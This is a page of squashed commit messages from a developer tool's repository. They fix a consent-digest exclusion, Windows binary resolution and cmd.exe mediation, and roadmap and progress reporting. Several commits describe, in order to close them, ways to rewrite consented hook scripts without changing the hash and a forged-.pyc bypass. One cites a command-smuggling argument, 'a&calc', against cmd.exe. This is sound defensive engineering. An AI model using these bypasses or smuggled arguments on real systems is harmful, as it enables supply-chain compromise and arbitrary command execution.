exclusion must apply after the lstat fail-closed rejection, never before.
Refs #3631
* fix(3631): exclude derived bytecode caches from the consent digest
RED proven at e5ba8f1fe on the remote runner: 8 failures, exactly the rows predicted to
fail, with the four anti-regression rows already green.
collectBundleEntries now skips a hardcoded, gitignore-independent set from the DIGEST:
basenames __pycache__, .pytest_cache, .DS_Store, and any .pyc/.pyo file. Matching is
byte-exact on the raw Buffer name (the walk never utf8-decodes) and case-sensitive, so the
digest does not vary with how a name happens to be spelled on a case-insensitive volume.
Three properties were preserved deliberately, each pinned by a test:
- The filter runs AFTER the lstat symlink/non-regular fail-closed rejection. Filtering
first would have turned the exclusion into a way to smuggle a symlink past the check;
a symlink named x.pyc still throws.
- Excluded entries still count toward BUNDLE_MAX_FILES and BUNDLE_MAX_TOTAL_BYTES. The
caps guard the WALK; the digest answers a different question, and exclusion must not
become an unbounded-bytes hole.
- An excluded DIRECTORY is neither emitted as a TAG_DIR marker nor recursed into. The
directory marker was the sharper half of this bug: an empty __pycache__ flipped the
hash before any .pyc existed, so a *.pyc-only filter would have left it live.
The issue proposed either a gitignore-aware walk or a list including node_modules. Both
are rejected. A consent binding must not delegate its scope to a .gitignore the bundle
author does not control — one line there would drop arbitrary executable content out of
the hash. And node_modules holds code that is required at runtime; excluding it would stop
consent binding executable content, turning a usability bug into a supply-chain hole. What
makes __pycache__ different is that CPython validates each .pyc against its sibling
source, which remains hashed, so a real code change still invalidates consent.
Docs: CONTEXT.md's 'EVERY regular file AND directory' claim is corrected in place.
ADR-2363's residual-gap section said the walk had 'no exclusions' — per
docs/adr/README.md ('ADRs are append-only') that is corrected by a dated amendment rather
than an in-place edit. Its D4 argument is unaffected: skill bodies are .md and stay bound.
Fixes #3631
* fix(3631): narrow the digest exclusion after two isolated security reviews
The first cut of this fix passed the full suite and was still wrong. Both orthogonal
reviews rejected it, and the second one found a hole that has nothing to do with Python.
HIGH — an excluded DIRECTORY was 'continue'd before recursion, so its whole subtree was
permanently outside the digest. Declared hook script paths allow '_', '.' and '/' with no
directory or extension rule, so hooks:[{script:'__pycache__/run.js'}] installed, executed
via node, and its bytes could be rewritten forever without moving the hash. Ship benign
v1, collect consent, then own the machine. No Python involved.
FALSE RATIONALE — the justification I wrote into the code, CONTEXT.md, the ADR amendment
and the changeset claimed CPython validates a cached .pyc against its sibling source, so
the source staying hashed kept consent honest. That is not true, and I proved it by
execution rather than argument: default timestamp invalidation compares only the source's
mtime and size, both settable by anyone who can write the bundle. A forged pyc ran while
the .py was byte-identical.
Also wrong: '*.pyc' matched anywhere, but a legacy sourceless scripts/x.pyc IS importable,
so excluding it was a live vector.
Narrowed to what is actually defensible:
- a DIRECTORY named __pycache__/.pytest_cache has only its TAG_DIR marker suppressed;
the walk still recurses and hashes every non-excluded child.
- .pyc/.pyo are excluded ONLY when the parent basename is exactly __pycache__.
- a regular FILE named __pycache__, and a DIRECTORY named x.pyc, stay bound.
- declared hook paths containing a __pycache__/.pytest_cache segment or a .pyc/.pyo
basename are now rejected in both validator copies — a file named .pyc can contain
perfectly valid JavaScript, so the exclusion must not be reachable from a declared
surface.
Accepted residual risk, stated plainly in ADR-2363 and CONTEXT.md instead of explained
away: a forged __pycache__/mod.pyc matching an unmodified, still-hashed mod.py executes
without moving the digest. Before this change that write was detected. It is accepted to
stop routine bytecode caching from silently deactivating capabilities, and it is bounded —
the attacker needs post-consent write access, everything outside __pycache__/*.pyc stays
hashed, and no declared surface can point into the excluded space.
Known limitation, not papered over: .pytest_cache CONTENTS still move the digest. Only the
directory marker is suppressed. Excluding that subtree would reopen the HIGH finding.
Refs #3631
* fix(3631): drop the .DS_Store exclusion and pin what the caps actually bind
Second round of isolated review findings. The hardening closed the two original holes —
both re-reviews confirmed that by execution — but it introduced a new one of the same
shape, and left three claims unbacked.
HIGH, self-inflicted: .DS_Store was excluded from the digest at any depth, but the hook
path validator was hardened only for __pycache__/.pytest_cache/.pyc/.pyo. So
script:'hooks/.DS_Store' was ACCEPTED, runnableHookCommand emits the bare quoted path for
a non-.js name (the branch .sh hooks already use), and capability-source copies it with
its mode bit intact. Ship it +x with a benign shebang, take consent, then rewrite it
forever — the digest never moves. Fixed by DELETING the .DS_Store exclusion rather than
teaching the validator about it: .DS_Store has nothing to do with this issue's Python
bytecode symptom, and an excluded filename is a permanently unhashed name. The narrower
the exclusion, the smaller the hole.
The residual-risk bound in ADR-2363 and CONTEXT.md claimed declared surfaces cannot reach
excluded space. That is false and is now stated correctly: node resolves an unregistered
extension through the default .js handler, so a hashed, consent-covered hooks/run.js that
requires '../__pycache__/mod.pyc' reaches it in one hop. The validator guard raises the
bar for DECLARED surfaces; it does not contain the risk. The two bounds that are real —
post-consent write access required, everything outside __pycache__/*.pyc still hashed —
are kept.
The BUNDLE_MAX_FILES boundary test had gone vacuous: it padded with root-level *.pyc,
which the hardening made non-excluded, so it no longer proved anything about excluded
entries while the ADR claimed the caps were test-pinned. It now pads __pycache__/f{i}.pyc,
with the arithmetic re-derived by execution (capability.json + the still-counted
__pycache__ dir + N). BUNDLE_MAX_TOTAL_BYTES had zero coverage at all and is now pinned by
a sparse 32 MiB __pycache__/big.pyc that must still trip the size cap — the test that
proves exclusion did not become an unbounded-bytes hole.
Added the parity assertion CLAUDE.md's Generative Fix Divergence rule requires for the two
isSafeHookScriptPath copies, and proved it can fail: mutating one BUILT copy to drop .pyo
made the parity check report the divergence. Also pinned semantics that were correct but
untested and would have survived mutation — __pycache__/sub/x.pyc stays hashed (the parent
resets to sub, which is the recursion threading itself), .pytest_cache/y.pyc stays hashed,
and .pyo in both directions, which was a free surviving mutant.
Changeset rewritten: it still described the rejected wholesale-exclusion semantics.
Refs #3631
* chore(3631): backfill changeset PR number (#3650)
---------
Co-authored-by: sim <sim@local>
|
||
|
Tom Boucher
|
02a36d3db9 |
fix(3618): update the Windows fallow assertions to the behavior #3618 chose (#3654)
full test (windows-latest, 24, shard 1/3) has been RED on next since
|
||
|
Tom Boucher
|
2972da4c9d |
enhance(#3619): ratchet the platform seam with local/no-private-binary-resolution (epic #3411 Phase 3) (#3636)
* chore(#3619): ratchet the platform seam with local/no-private-binary-resolution
Epic #3411 Phase 3, the ratchet. Scope revised with maintainer approval and
recorded on the issue: the epic's literal ask was a rule rejecting a bare-name
spawn outside the seam. Surveyed at
|
||
|
Tom Boucher
|
0f417aa6d0 |
fix(#3584): the verb owns the count token and nothing else (#3635)
* test(3584): failing-first coverage for Plans-line trailing text roadmap update-plan-progress preserves trailing text only when the line begins with a canonical count token. Every other phrasing — including the TBD value the shipped template itself suggests — is replaced to end-of-line, and a sentence wrapping onto a second line has its first line deleted, leaving the continuation standing alone so the roadmap asserts something nobody wrote. Exit 0, updated:true, and the diff reads as a routine count bump. These tests fail on that, and pin the arms that must keep working: the template placeholder is still replaced, the #2853 token-plus-annotation path is unchanged, CRLF is neither stranded nor duplicated, and a run that leaves the line alone still updates the Progress table and checkboxes rather than becoming a no-op. * fix(3584): the verb owns the count token and nothing else RED proven at 105bdf7c: 7 failures — the preserving cases (freeform prose, wrapped continuation, TBD, CRLF) failed while the template-placeholder and #2853 token arms passed on base. The trailing-text guard fired only when the line began with a canonical count token: dropped the rest of the line whenever the regex's count group did not match. #2853 fixed end-of-line truncation on that one path only. The in-code comment justified the rest as 'the fresh-template bracketed placeholder or other freeform guidance, not user prose' — a heuristic that misreads ordinary human phrasing and destroys even TBD, the value the shipped template itself suggests at templates/roadmap.md:37. The sharper failure was the wrapped sentence: only the first line is inside the match, so the verb deleted line one and left line two standing alone, leaving the roadmap asserting something nobody wrote — at exit 0, updated:true, in a diff that reads as a routine count bump. Inverted the default into three arms. A real count token is rewritten with its annotation preserved (unchanged, #2853). A bracketed placeholder is detected POSITIVELY and replaced. Everything else — freeform prose, TBD, a wrapped sentence's first line, an empty value — returns the match untouched. That last arm resolves the wrapped case by construction: an untouched first line cannot orphan its continuation. Positive detection is the load-bearing part. Implemented as 'not a count token, therefore disposable', rows 1-3 come straight back; the detector instead asks whether the value IS a bracketed placeholder. Leaving the line alone does not make the verb a no-op: the phase checkbox, the Progress-table cells and the plan-checklist row still update in the same run, and that is asserted. CRLF is unaffected in every arm — the pattern's [^\r\n]* never consumes the \r, so it sits outside the match regardless of which arm runs. Fixes #3584 * fix(3584): detect the template placeholder by its text, not by its brackets Two defects in the arm-2 detector shipped in fc23e49e, both found in review. Finding A: isBracketedPlaceholder asked only whether the trimmed value was wrapped in [...]. Brackets are ordinary prose punctuation in a roadmap, so any hand-written bracketed note — '[Deferred pending re-scope]', '[blocked on #1234]' — was classified as the fresh-template placeholder and destroyed. That is the very defect #3584 is about, reintroduced one arm over. The detector now matches the placeholder's TEXT (/^\[\s*Number of plans\b[\s\S]*\]$/i), so it recognizes the shipped template value and its short form and nothing else. Finding B: the count group matched '\\d+\\s+plans' only. The plural is not the template's own output shape — templates/roadmap.md:62 ships '1 plan' — so a single-plan phase fell through every arm and its line froze permanently, never updating again. Widened to 'plans?'. This one was introduced by the arm-3 default: before it, the singular fell through to the old replace-everything path and at least stayed current. Cases 11-14 cover both: a bracketed human note preserved, the short placeholder still replaced, '1 plan' rewritten, and '1 plan (annotation)' rewritten with the annotation intact. Verified against the live binary, not just re-read. Also converted all 15 cases in this block from try/finally to t.after(), per CONTRIBUTING.md:356-370 which bans try/finally in test bodies. The existing #2853 block above is untouched — it is not in this change's scope and its conversion is not this fix's concern. Refs #3584 * chore(3584): add changeset fragment Fixed-type fragment for the roadmap Plans-line trailing-text fix. pr:0 placeholder, backfilled once the PR number exists. Refs #3584 * chore(3584): backfill changeset PR number (#3635) --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
ac1b6d679f |
enhance(#3618): fold fallow-runner onto the canonical binary resolver (epic #3411 Phase 2) (#3633)
* chore(#3618): fold fallow-runner onto the canonical binary resolver Epic #3411 Phase 2. src/fallow-runner.cts was the fourth divergent implementation of Windows binary resolution the epic enumerated — candidateNames, isExecutableFile, findInPath, findInNodeModules, 40 lines. All four are deleted; resolveFallowBinary is one seam call. Two OPT-IN options were added to resolveExecutableBinary to make the fold behavior-preserving, both defaulting off so Phase 1's callers are byte-identical: prependPaths dirs searched before env.PATH, in order, through the identical per-directory candidate logic. This expresses node_modules/.bin-first precedence without env surgery — the rejected alternative re-introduced the spread-loses-the-proxy hazard the Windows lane caught in Phase 1, at every future call site instead of once. requireExecutable POSIX-only accessSync(X_OK); a no-op on win32 where mode bits do not mean execute. Opt-in rather than default because unconditional X_OK breaks #3445's suite, which stages candidates with plain writeFileSync and never sets an exec bit — the repo bans chmod in tests — so every one would resolve to null on POSIX. Deliberate behavior change on Windows: fallow's prior candidate list ended in a BARE fallow. The seam never tries a bare name there, so an extensionless file beside fallow.cmd is no longer resolved. That is the fix, not a regression — the extensionless file is npm's POSIX sh shim, which CreateProcess cannot run (#3275). Rows 7 and 8 of the design record it. Defect found while working, fixed inline: the resolution order was documented BACKWARDS as PATH-then-.bin in structural-pre-pass.md, docs/INVENTORY.md and four INVENTORY translations. The code has always been .bin first, and .bin first is correct — a project-local tool should beat a global one. The archived changeset is left alone as a historical record. fallow-runner had no test file at all. tests/fallow-runner.test.cjs is new (F1-F15) and the seam options are pinned by S1-S12 folded into the existing dispatch suite. RED proven by execution: with both source files stashed and build:lib re-run, 7 of 27 probe cases failed. Refs #3411 * chore(#3618): backfill changeset pr number 3633 * fix(#3618): assert both platform contracts in F4 instead of a POSIX-only premise Windows CI on #3633 failed F4. The test monkeypatched accessSync to throw and asserted resolveFallowBinary returned null — but that premise, that the X_OK check is consulted at all, is POSIX-only by design. requireExecutable is a deliberate no-op on win32 because Windows mode bits do not mean execute, so the staged fixture correctly resolved there. 40-design.md's negative-space section already states this carve-out verbatim. The test contradicted the design it was written from: fixtures were made platform-adaptive in the previous commit, and this assertion was left platform-blind. F4 now asserts BOTH contracts — null on POSIX, resolves on win32 — rather than skipping either. A t.skip on one lane would have been green and would have left the win32 carve-out unpinned by fallow's own entry point. Audited every other row for the same class. F1-F3, F5, F6, F11-F15 hold on both platforms; F7-F10 and S1-S12 inject platform explicitly and are unaffected. F4 was the only row with a single-platform premise. The local probe runs on one platform and structurally cannot catch this, which is why it was green — that limitation is now stated at the top of the probe so a green probe is not mistaken for platform coverage. The win32 branch was proven by injecting platform:'win32' with accessSync throwing and asserting it still resolves. Refs #3411 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
46f14c621e |
fix(#3583): one percent per write — route update-progress through the shared computation (#3634)
* test(3583): failing-first coverage for one percent per write state update-progress computes plan throughput (summaries/plans) for stdout and the body Progress bar, while the same write re-derives frontmatter progress.percent as min(planFraction, phaseFraction). Neither consults the other, so mid-phase the file contradicts itself and state json disagrees with the verb that just wrote it. These tests fail on that: equality across stdout, body bar, frontmatter and state json on fixtures where the two fractions differ, plus a derivation-parity test that fails if completedPhases is ever derived by summary parity instead of verification-passed status. Also updates three pre-existing tests that pinned stdout to the plan-throughput value (50->0, 50->0, 100->0). Those fixtures have summarized-but-unverified phases, so the old expectations encoded the bug; changing them IS the fix, as the issue states explicitly. * fix(3583): one percent per write — route the verb through the shared computation RED proven at 7dbbb2d2: 9 failures — the new cross-surface equality tests, the withhold test, and the pre-existing tests whose expectations encoded the bug. state update-progress computed plan throughput (summaries/plans) for stdout and the body Progress bar, while the SAME write re-derived frontmatter progress.percent as min(planFraction, phaseFraction) through a separate path. Neither consulted the other, so on any project where plan throughput ran ahead of phase completion — the normal mid-phase state — the file contradicted itself and state json disagreed with the verb that had just written it. Exit 0, no signal. This is not a dispute about which metric is right. The min cap is deliberate (#3242 Bug B) and is untouched; the fix aligns the printed and body values WITH it. Verified by diff: computeProgressPercent's definition and cmdStateSync are both unmodified. The verb now takes its percent from buildStateFrontmatter — the single owner of the isPhaseComplete-based completedPhases count and the ROADMAP-union totalPhases logic that the frontmatter sync later uses inside the same read-modify-write. Both calls hit the same disk-scan cache against the same on-disk state, so they cannot disagree. Reusing that owner, rather than re-deriving completedPhases locally, is the point: a second almost-identical derivation is the very defect class being fixed, and a parity test now fails if anyone swaps it for summary parity. The first cut fell back to plan throughput when the shared computation withheld. That reintroduced the defect in a rarer case — stdout would print a number the frontmatter deliberately did not contain — so it is gone. The verb now withholds in the same shape as its existing #3217 and #3233 guards. That path is reachable, not theoretical: a bare vX.Y token in ROADMAP prose with no versioned heading leaves the milestone unbounded while both existing guards see a COMPLETE scope. Covered by a test that also asserts state json omits the percent, proving it is the same withhold rather than a divergent local computation. Three pre-existing tests pinned stdout to plan throughput (50->0, 50->0, 100->0); their fixtures have summarized-but-unverified phases, so those expectations encoded the bug. Updating them is the fix, as the issue states. Fixes #3583 * fix(3583): source the reported counts from the same milestone window as the percent The adversarial pass found the first cut left the SAME defect one field over. cmdStateUpdateProgress still reported completed/total from the top-of-function scan, which calls listMilestonePhaseDirs with NO versionOverride — the auto-derived current milestone — while percent now came from buildStateFrontmatter, whose scan scopes by versionOverride: storedMilestone. getMilestonePhaseFilter shows those can select different milestone windows, and #3017's own comment warns about exactly that mis-bind. So a single JSON object could report a percent inconsistent with its own counts: the self-contradiction this issue was filed to close, relocated rather than removed. Counts now come from the same buildStateFrontmatter result as the percent. Proven on a real divergent-milestone fixture where a preamble phase leaks into the auto-derived scan but is excluded from the stored-milestone-scoped one: with the fix stashed the verb emits {percent:0, completed:1, total:2}; with it applied, {percent:0, completed:1, total:1}. The guard scan remains, gating only the #3217/#3233 withholds. Also corrected a comment that overstated caching. Only the phase/plan disk scan is shared between the two buildStateFrontmatter calls; getMilestoneInfo re-reads and re-parses ROADMAP.md and readGitHeadSha spawns a bounded git rev-parse, and both now run twice per invocation. Threading a precomputed frontmatter through the write seam to avoid it was rejected: that seam is the shared ADR-3408 §8.3 composition with three other callers and heavily-documented invariants, and this is not the change to renegotiate it. The comment now says what is and is not cached instead of implying the second call is free. Standards: six new assertions matched raw STATE.md body text the code under test had just produced — the pattern CONTRIBUTING bans by name. They now extract the body Progress field with the repo's own field extractor and assert the parsed percent, so the check survives rewording of the rendered bar. The acceptance criterion still verifies the bar; only what it asserts on moved. Also trimmed ~50 lines of narration around a ~15-line change into a named helper, and fixed a stale test comment that still claimed 100% next to assertions expecting 0%. * chore(3583): add changeset fragment * chore(3583): backfill changeset PR number (#3634) --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
924f649f87 |
docs(#3625): record the spawn-library evaluation as ADR-3625 (#3632)
Spike outcome for #3625: evaluate cross-spawn / nano-spawn / execa against the hand-rolled Windows binary resolution and cmd.exe mediation that epic #3411 Phase 1 (PR #3621) is landing in the platform seam. Verdict: stay hand-rolled, with revisit-if conditions recorded so the call is not re-litigated in a future PR. Evidence, per the issue's "Done when" list: - Sync/async verdict per candidate. nano-spawn is async-only — settled by its own README, which lists "synchronous execution" among the features execa has and it does not. cross-spawn exposes `.sync`. execa exposes execaSync, which its own docs discourage. - CVE-2024-27980 escaping verdict per candidate. None uses shell:true. cross-spawn independently arrives at the SAME mechanism the seam uses: cmd.exe /d /s /c with a pre-escaped line and windowsVerbatimArguments. That validates the seam's approach rather than superseding it. - Maturity axes scored with measured data (registry metadata 2026-08-18, transitive footprint measured by install). Two premises in the issue did not survive measurement, both recorded: - The CRITICAL 167-symbol/53-file blast radius is a `direction:both` measurement, inflated by downstream callees. A call-shape change ripples to CALLERS: upstream at depth 15 is 14 symbols / 7 files, MEDIUM, and it terminates at depth 4. The decision does not rest on the CRITICAL figure. - The cited vendoring precedent path does not exist; the real one is gsd-core/bin/lib/vendor/re2js.cjs. Decisive against the only structurally-eligible candidate (cross-spawn): it resolves process.cwd() first on Windows even when an explicit PATH is supplied, calls process.chdir() during resolution, and keys escape depth on a node_modules/.bin/*.cmd path regex of the same shape #3411 was filed to delete. Adoption would also break execTool's observable not-found contract across 53 dependent files. Doc-only: docs/adr/** plus a root-level CONTEXT.md pointer. The CONTEXT.md addition is a new line rather than an edit to the seam's glossary paragraph, which PR #3621 rewrites wholesale — same-line edits would conflict on merge. ADR index regenerated via scripts/gen-adr-index.cjs --write. lint:ci exit 0; lint-docs-required and changeset/lint both run with GITHUB_BASE_REF=next and report ok_no_user_facing_changes. Closes #3625 Co-authored-by: sim <sim@local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tom Boucher
|
bf87dd4156 |
enhance(#3617): one canonical Windows binary resolver in the platform seam (epic #3411 Phase 1) (#3621)
* feat(#3411): one canonical Windows binary resolver in the platform seam CONTEXT.md declares src/shell-command-projection.cts the single OS-facing seam, but Windows binary resolution had grown four divergent implementations outside it. #3445 folded two of them together — inside gsd-core/bin/gsd-tools.cjs, not the seam — so the declaration stayed untrue and execTool still had no handling at all. Lift the resolver into the seam as resolveExecutableBinary, and export the half that actually executes as projectSpawnInvocation: CreateProcess cannot run a .cmd/.bat, so the cmd.exe mediation is inseparable from the lookup and splitting them is how the copies accumulated. cmd.exe is invoked with an explicit argv array, never shell:true — CVE-2024-27980's vector and Node 26's DEP0190. execTool now resolves on win32. POSIX is a strict no-op by construction, which matters: execTool rates CRITICAL blast radius (167 symbols, 53 files). gsd-tools.cjs deletes its private scan and its private mediation and delegates. Two semantics grown beyond #3445's resolver, both additive: a name already carrying a PATHEXT-listed extension is tried as-is before the append loop, and a suffix outside PATHEXT is not treated as an extension. Refs #3411 * fix(#3411): keep mediating a declared .cmd that PATH resolution misses Standards review caught a narrowing against the code this replaces. gsd-tools.cjs computed `target = resolveSpawnBinary(binary) || binary` and keyed the shim test on `target`, so a declared .cmd mediated whether or not PATH resolution found it. That is load-bearing: resolveExecutableBinary scans PATH only, while `cmd.exe /c` also finds a batch file in the current directory. Mediation now keys on the target — resolved path, else declared name. The ENOENT contract still holds for BARE unresolved names, which is the case it was written for. P9/P10 pin both halves. Spec review found E1/E2/E3/E5 promised by 50-test-matrix.md but never written; added. E3 is the integration proof that the CVE-relevant mediation fires through execTool, not only through projectSpawnInvocation in isolation. Also adds the CONTEXT.md glossary entry for the seam's new resolution ownership (a PR gate) and the changeset fragment. Refs #3411 * fix(#3617): pass mediated cmd.exe arguments verbatim so metacharacters cannot inject The isolated security pass found the mediation shape carried an argument-injection surface. libuv's quote_cmd_arg force-quotes an argv element only when it contains a space, tab, or quote — never for a cmd metacharacter — and cmd.exe re-parses everything after /c. So an arg of a&calc arrived unquoted and cmd ran calc. Node's own CVE-2024-27980 escaping cannot help: it fires only when the spawned FILE is the .bat/.cmd, and here the file is cmd.exe. Caret-escaping is not a fix. It is correct only when libuv does not quote, and libuv quotes whenever the arg also contains a space — no per-arg transform is right in both cases. So build the command line and pass it through verbatim, the shape Rust's std adopted for the sibling CVE-2024-24576: one outer quote pair that cmd /c strips, every token inside force-quoted, embedded quotes doubled. An argument containing CR or LF is refused rather than mediated — a newline cannot be represented in a Windows command line, so mediating would silently truncate. Failing visibly is correct. Known limit, documented at the seam: %VAR% still expands inside a /c string and has no escape outside a batch file. That is information disclosure, not arbitrary execution, and is the same limit Rust's std documents. This was byte-for-byte the shape #3445 shipped, so the fix closes it for the reviewer-lane spawn path too, not only for execTool's newly reachable route. Refs #3411 * docs(#3617): document the subprocess-execution security posture Adds Layer 4 to the security model: why GSD never uses shell:true for binary invocation (CVE-2024-27980, Node 26 DEP0190), why resolution is explicit and never tries the bare name on Windows (the npm extensionless-shim trap behind #3275), and why .cmd/.bat mediation builds a verbatim force-quoted command line rather than relying on default escaping — Node's own CVE protection cannot fire once the started program is cmd.exe. The residual %VAR% expansion limit is stated plainly under Trade-offs rather than left implicit: it is information disclosure, not arbitrary execution, and callers passing untrusted text to a Windows .cmd should not assume the value arrives byte-identical. Docs-only; no code change. Refs #3411 * chore(#3617): backfill changeset pr number 3621 * fix(#3617): read PATH, PATHEXT and ComSpec case-insensitively The Windows CI lane on #3621 failed E5, and the root cause was a defect in the implementation, not the assertion. Windows names the variable Path, not PATH. process.env is a case-insensitive proxy, so process.env.PATH works — but execTool builds { ...process.env, ...opts.env } whenever a caller supplies opts.env, and spreading discards the proxy while keeping the OS's actual casing. The exact-case env['PATH'] lookup then returned undefined, the PATH scan saw zero segments, resolution returned null, and the change degraded to precisely the spawn ENOENT it exists to fix. ComSpec and PATHEXT had the same exposure. #3445's tests never caught it because they pass uppercase keys explicitly, and neither did the Linux remote runner — this is a defect only the Windows lane could see. _envGet resolves a variable by exact match first (so a canonical caller pays no scan) and falls back to a case-insensitive sweep. R23 and P16 pin it and were proven RED by execution: with the fix stashed and build:lib re-run, R23 returned null and P16 returned the cmd.exe default. R24 was rewritten because the first version was vacuous — it staged foo.CMD, so the default PATHEXT already contained .CMD and it passed against the broken code for the wrong reason. It now stages foo.XYZ, an extension absent from the default, and carries a negative control asserting that dropping the Pathext key yields null. Re-proven RED the same way. E5's assertion was corrected alongside the fix: 'PATH' in options.env expressed the wrong contract. It now checks case-insensitively for the key. Refs #3411 * fix(#3617): execTool spawns the declared name unless mediation is required The Windows full-test lane on #3621 failed tests/graphify.test.cjs — the python3 identity check asserted 'python3' and got the absolute resolved path C:\hostedtoolcache\windows\Python\3.12.10\x64\python3.EXE instead. Those tests are correct and the change was wrong. They pin a long-standing contract — execTool spawns the program name it was given — by spying on spawnSync's first argument, and routing every win32 call through the projected invocation broke it. Resolving a .exe buys nothing. libuv's CreateProcess path already performs PATH + PATHEXT search, which is why spawning a bare 'node' has always worked on Windows. The only case the OS genuinely cannot spawn is a .cmd/.bat. So execTool now adopts the projection only when mediation actually happened — windowsVerbatimArguments is exactly that flag — and otherwise passes the declared program and args through untouched. 40-design.md already rejected gratuitous change for this reason: symmetry is not worth a behavior change to 53 files that fixes nothing. That reasoning was applied to POSIX and missed the win32 non-batch case. Rows 5 and 20 now record it, and the CONTEXT.md glossary states the caller-choice rule. deps.spawn deliberately still adopts the resolved path: its hasBinary probe answers from the same resolver, so probe and spawn must agree on the exact file (#3445). The asymmetry is now documented at both call sites rather than latent. E7 pins the restored contract and was verified by executing execTool against a monkeypatched spawnSync: python3 in, python3 spawned. Refs #3411 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
bf2332e67c |
fix(#3582): route every hook's compiled-module require through the self-heal build seam (#3629)
* test(3582): failing-first cold-tree coverage and the seam drift lint On a plugin-channel install the compiled gsd-core/bin/lib/*.cjs are legitimately absent (ADR-457 build-at-publish; the npm package builds before publishing, a raw tree materialization never does). gsd-tools.cjs calls ensureRuntimeBuild() before requiring ./lib; no hook does, so the isolation guard's Cannot-find-module lands in its fail-closed catch and is misreported as an unreadable dispatch-isolation configuration, blocking every executor dispatch. These tests fail on that: cold-tree runs of the isolation guard, statusline, cursor guard and update worker, plus the seam's actionable build error surfacing instead of the generic misreport. Also adds the drift lint the acceptance criteria require, with a fixture proving it CAN fail — a guard never shown to fail is worthless. It is red here by design: it flags today's unfixed hooks, which is exactly the defect. * fix(3582): route every hook's compiled-module require through the self-heal seam RED proven at 5b174b0d: 11 failures — the cold-tree runs for the isolation guard, cursor guard and update worker, the fail-closed-with-actionable-message assertion, and the lint's own real-tree check. The compiled runtime library is produced by build:lib and gitignored (ADR-457, build-at-publish). The npm package builds before publishing; a plugin-marketplace or git-clone install materializes the raw tree and never does, so on that channel those modules are legitimately absent. The self-heal seam added by #2002 exists to heal exactly this, and the CLI entrypoint already calls it — no hook did. The isolation guard's Cannot-find-module therefore landed in its fail-closed catch and was reported as 'could not read or resolve dispatch-isolation configuration', so an ARTIFACT ABSENCE was misdiagnosed as an unreadable project config and every executor dispatch was blocked. All SEVEN affected files now call the seam before their first compiled require. The issue named four; a scan found six; implementing it surfaced a seventh — the shared isolation sentinel helper, used by BOTH guards, which requires two compiled modules itself and would have defeated the guards' own fix on a genuinely cold tree. Same defect class, so fixed here rather than left as a known-broken remainder. Failure posture is deliberately split by hook kind: - Gates (agent isolation guard, cursor subagent start) surface the seam's actionable build error distinctly instead of swallowing it into the generic text, and stay fail-closed — a genuinely unreadable project config still DENIES exactly as before. - Cosmetic and detached hooks (statusline, update worker, update check, update banner) DEGRADE rather than crash: the statusline draws on every render and the worker is a detached process, so a build failure there must not take down the prompt. The npm path is untouched: the seam's already-built fast path returns immediately, so prebuilt installs pay nothing and behave bit-for-bit as before. Adds a drift lint, wired into the CI lint chain, so the invariant is enforced rather than remembered — without it the next hook to add a compiled require reintroduces the class silently. It is proven able to fail: a fixture hook requiring a compiled module without the seam is flagged, and one that uses the seam is not. Verified directly — on the unfixed tree it named all seven offenders; with the fix it passes. While writing the lint's comment stripper, a naive whole-text block-comment regex ate its own fixture, because this repo's comments legitimately spell the compiled-lib glob whose star-slash reads as a comment opener. Rewritten as a line-based scanner with a regression test pinning that case. * fix(3582): test the three untested seam call sites and assert typed reason codes Two independent reviews converged on the same major gap: the fix wired the seam into seven files but only four had cold-tree tests. The adversarial pass put it plainly — deleting the shared isolation-sentinel helper's seam call would not have failed any test in the diff. That file was my own addition beyond the issue's four, so it shipped untested; that is now closed. - Shared isolation-sentinel helper: its seam call is only reached when .planning is NOT directly under cwd, and every existing cold-tree fixture puts it there, so the early return always fired first. Now covered, and proven load-bearing by mutation: with the call removed the spy records zero seam invocations and the test fails. - update-check hook and update-banner hook: cold-tree tests added asserting the DEGRADED VERDICT — the fallback cache filename, and silent suppression when the package name degrades to null — rather than merely 'did not throw'. The banner hook previously had no test file at all. Standards violation fixed: two tests asserted on free-form prose via assert.match against a JSON reason string, which CONTRIBUTING bans by name — its own BAD example is exactly that. The ESLint rule only covers readFileSync/spawnSync text, so tooling did not catch it. Both isolation guards now emit a machine-readable reason_code from a frozen enum, following the repo's existing REASON convention, and the tests assert that instead. The human-readable message is unchanged for operators; only the assertion target moved. The duplicated degrade boilerplate across the three cosmetic hooks was deliberately NOT extracted, and the reason is recorded at each site: both viable shapes — a path-parameterized helper, or a ceremony-only wrapper — defeat the drift lint's per-file literal co-occurrence check, so extracting would require the lint to special-case its own helper. Triplication is the lesser evil while the lint stays a co-occurrence scan. The lint's header now states what it does and does not catch (literal quoted requires only; hooks/ scan root), so a future reader does not over-trust a guard that a concatenated path or a require inside a non-hooks helper would evade. * chore(3582): regenerate the committed install-tree fixtures Adding a new shipped hook helper changed the install tree, and those fixtures are committed-and-derived (regen:derived / gen:install-tree), so 12 'install tree — <runtime>' tests failed on 541a1913. Regenerated rather than hand-edited. The delta across all 15 runtime fixtures is exactly two lines — the new helper under both its hooks/ and gsd-hooks/ install paths — and nothing else, so the regeneration pulled in no unrelated drift. This is the bookkeeping ripple a new file under hooks/ carries; it was not visible from lint:ci, which passed both before and after. * chore(3582): backfill changeset PR number (#3629) --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
cc3fd4548d |
docs(#2866): reconcile ADR-3574 against the shipped environment (#3622)
The ADR was written mid-epic and describes a tree that no longer exists. There are now two choreographies, not three: phase 6 deleted bin/install.js's agent-staging loop and its _DESCRIPTOR_AGENTS_RUNTIMES gate outright, so the refusal in decision 1 governs a two-way divergence. The ADR's own revisit condition has been met. It said to reopen the unification question when the applySurface descriptor-agents migration completed. It has. Revisited on evidence: the shapes did not converge on the axis that mattered, because phases 6 and 7 touched agents and exports, not the prune. applySurface still prunes by allow-list so it cannot delete a user file by construction; installRuntimeArtifacts still wipes and restores a snapshot. Decision 1 stands, for a narrower and better reason than when it was written. Records delivery status per decision, including that decision 3 was already satisfied when measured and decision 4 was the hardest part rather than the independent one the ADR predicted. Notes that #2875's AC1 is now doubly stale - deliberately unmet, and naming three call sites where two remain - so anyone reconciling the tracker treats this ADR as governing rather than the criterion as outstanding. Co-authored-by: sim <sim@local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tom Boucher
|
9de4d67118 |
fix(#3579): a pointer-less session inherits the repo active-workstream marker (#3616)
